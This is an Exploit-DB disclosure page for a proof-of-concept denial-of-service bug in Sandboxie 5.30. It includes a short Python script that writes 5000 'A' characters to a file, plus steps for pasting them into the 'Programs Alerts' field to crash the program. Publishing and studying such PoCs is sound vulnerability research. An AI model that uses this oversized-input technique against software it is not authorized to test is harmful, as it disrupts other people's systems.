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Sandboxie 5.30 - 'Programs Alerts' Denial of
Service (PoC)

EDB Verified:

EDB-ID:
46860

CVE:
N/A
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Exploit:   /   

Author:
ALEJANDRA SÁNCHEZ

Type:
DOS

󰇚 󰅩

Vulnerable App:

Platform:
WINDOWS

Date:
2019-05-17
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# -*- coding: utf-8 -*-

# Exploit Title: Sandboxie 5.30 - Denial of Service (PoC)

# Date: 16/05/2019

# Author: Alejandra Sánchez

# Vendor Homepage: https://www.sandboxie.com

# Software https://www.sandboxie.com/SandboxieInstall.exe

# Version: 5.30

# Tested on: Windows 10

# Proof of Concept:

# 1.- Run the python script 'Sandboxie.py', it will create a new file 

'Sandboxie.txt'

# 2.- Copy the text from the generated Sandboxie.txt file to clipboard

# 3.- Open Sandboxie Control

# 4.- Go to 'Configure' > 'Programs Alerts'

# 5.- Click 'Add Program', paste clipboard in the field 'Select or enter a 

program' and click 'OK'

# 6.- Click 'OK' and crashed

buffer = "\x41" * 5000

f = open ("Sandboxie.txt", "w")

f.write(buffer)

f.close()

            

Tags: Denial of Service (DoS)

Buffer Overflow

Advisory/Source: Link

󰁍 󰁔

Databases 

Links 

Sites 

Solutions 

EXPLOIT DATABASE

󰠭 EXPLOITS

󰜏 GHDB

󰈤 PAPERS

󰘚 SHELLCODES

󰡦 SEARCH EDB

󰗚 SEARCHSPLOIT MANUAL

󰕒 SUBMISSIONS

󰑴 ONLINE TRAINING

3/29/26, 9:33 AM Sandboxie 5.30 - 'Programs Alerts' Denial of Service (PoC) - Windows dos Exploit

https://www.exploit-db.com/exploits/46860 3/3

https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://twitter.com/exploitdb
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://www.facebook.com/ExploitDB
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://gitlab.com/exploit-database/exploitdb
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/rss.xml
https://www.exploit-db.com/
https://www.exploit-db.com/terms
https://www.exploit-db.com/privacy
https://www.exploit-db.com/about-exploit-db
https://www.exploit-db.com/faq
https://www.exploit-db.com/cookies
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www
https://www.exploit-db.com/?tag=13
https://www.exploit-db.com/?tag=31
https://www.exploit-db.com/exploits/46860
https://www.exploit-db.com/exploits/46859
https://www.exploit-db.com/exploits/46861
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www

